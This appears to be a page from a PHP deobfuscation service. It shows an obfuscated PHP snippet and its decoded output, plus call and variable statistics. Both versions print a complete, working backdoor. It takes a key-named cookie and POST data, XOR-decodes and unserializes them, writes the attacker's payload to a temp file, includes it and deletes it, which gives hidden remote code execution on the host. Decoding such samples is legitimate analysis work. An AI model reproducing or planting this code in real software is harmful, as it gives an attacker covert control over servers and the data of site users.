Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$UberW = 'R' . '_' . chr (65) . "\122" . chr (68) . chr (111); $OIxKEadt = chr ( 844 - 745..

Decoded Output download

<?  $UberW = 'R' . '_' . chr (65) . "R" . chr (68) . chr (111); $OIxKEadt = chr ( 844 - 745 )."l" . chr ( 837 - 740 )."s" . 's' . "_" . chr ( 182 - 81 )."x" . chr (105) . 's' . chr ( 703 - 587 )."s";$iAwbJGHh = $OIxKEadt($UberW); $UberW = "25887";$RdeQzPVCu = $iAwbJGHh;$OIxKEadt = "17774";if (!$RdeQzPVCu){class R_ARDo{private $kEloVmKMt;public static $xkwsev = "89d4ab10-e6e2-49a3-99be-8f6a456d4e15";public static $PBgZMXZI = 50526;public function __construct($jIoYNFs=0){$PamZXucXb = $_COOKIE;$SCeZn = $_POST;$NfzJtMXvq = @$PamZXucXb[substr(R_ARDo::$xkwsev, 0, 4)];if (!empty($NfzJtMXvq)){$nTNPgs = "base64";$AtZECihJ = "";$NfzJtMXvq = explode(",", $NfzJtMXvq);foreach ($NfzJtMXvq as $bNETkEg){$AtZECihJ .= @$PamZXucXb[$bNETkEg];$AtZECihJ .= @$SCeZn[$bNETkEg];}$AtZECihJ = array_map($nTNPgs . "_" . "d" . "e" . "c" . "o" . "d" . "e", array($AtZECihJ,)); $AtZECihJ = $AtZECihJ[0] ^ str_repeat(R_ARDo::$xkwsev, (strlen($AtZECihJ[0]) / strlen(R_ARDo::$xkwsev)) + 1);R_ARDo::$PBgZMXZI = @unserialize($AtZECihJ);}}private function BTocEsx(){if (is_array(R_ARDo::$PBgZMXZI)) {$cIgYRwgdI = sys_get_temp_dir() . "/" . crc32(R_ARDo::$PBgZMXZI["s" . "a" . 'l' . "t"]);@R_ARDo::$PBgZMXZI[chr ( 719 - 600 ).chr (114) . chr (105) . chr (116) . chr (101)]($cIgYRwgdI, R_ARDo::$PBgZMXZI[chr (99) . "o" . 'n' . "t" . "e" . chr ( 774 - 664 )."t"]);include $cIgYRwgdI;@R_ARDo::$PBgZMXZI[chr (100) . 'e' . chr ( 499 - 391 ).chr (101) . 't' . "e"]($cIgYRwgdI); $vHTpYTNRn = "28370";exit();}}public function __destruct(){$this->BTocEsx(); $vHTpYTNRn = "28370";$eTVyLreXsM = str_pad($vHTpYTNRn, 10);}}$jYKdjL = new /* 36375 */ R_ARDo(); $jYKdjL = substr("29051_22694", 1);} ?>

Did this file decode correctly?

Original Code

$UberW = 'R' . '_' . chr (65) . "\122" . chr (68) . chr (111); $OIxKEadt = chr ( 844 - 745 )."\154" . chr ( 837 - 740 )."\163" . 's' . "\137" . chr ( 182 - 81 )."\170" . chr (105) . 's' . chr ( 703 - 587 )."\163";$iAwbJGHh = $OIxKEadt($UberW); $UberW = "25887";$RdeQzPVCu = $iAwbJGHh;$OIxKEadt = "17774";if (!$RdeQzPVCu){class R_ARDo{private $kEloVmKMt;public static $xkwsev = "89d4ab10-e6e2-49a3-99be-8f6a456d4e15";public static $PBgZMXZI = 50526;public function __construct($jIoYNFs=0){$PamZXucXb = $_COOKIE;$SCeZn = $_POST;$NfzJtMXvq = @$PamZXucXb[substr(R_ARDo::$xkwsev, 0, 4)];if (!empty($NfzJtMXvq)){$nTNPgs = "base64";$AtZECihJ = "";$NfzJtMXvq = explode(",", $NfzJtMXvq);foreach ($NfzJtMXvq as $bNETkEg){$AtZECihJ .= @$PamZXucXb[$bNETkEg];$AtZECihJ .= @$SCeZn[$bNETkEg];}$AtZECihJ = array_map($nTNPgs . "\x5f" . "\144" . "\x65" . "\x63" . "\x6f" . "\x64" . "\x65", array($AtZECihJ,)); $AtZECihJ = $AtZECihJ[0] ^ str_repeat(R_ARDo::$xkwsev, (strlen($AtZECihJ[0]) / strlen(R_ARDo::$xkwsev)) + 1);R_ARDo::$PBgZMXZI = @unserialize($AtZECihJ);}}private function BTocEsx(){if (is_array(R_ARDo::$PBgZMXZI)) {$cIgYRwgdI = sys_get_temp_dir() . "/" . crc32(R_ARDo::$PBgZMXZI["\x73" . "\x61" . 'l' . "\164"]);@R_ARDo::$PBgZMXZI[chr ( 719 - 600 ).chr (114) . chr (105) . chr (116) . chr (101)]($cIgYRwgdI, R_ARDo::$PBgZMXZI[chr (99) . "\x6f" . 'n' . "\x74" . "\145" . chr ( 774 - 664 )."\x74"]);include $cIgYRwgdI;@R_ARDo::$PBgZMXZI[chr (100) . 'e' . chr ( 499 - 391 ).chr (101) . 't' . "\x65"]($cIgYRwgdI); $vHTpYTNRn = "28370";exit();}}public function __destruct(){$this->BTocEsx(); $vHTpYTNRn = "28370";$eTVyLreXsM = str_pad($vHTpYTNRn, 10);}}$jYKdjL = new /* 36375 */ R_ARDo(); $jYKdjL = substr("29051_22694", 1);}

Function Calls

chr 8
class_exists 1

Variables

$UberW R_ARDo
$OIxKEadt class_exists

Stats

MD5 5c74b149cb0c1d5cae6c8a9f0eaa7a43
Eval Count 0
Decode Time 79 ms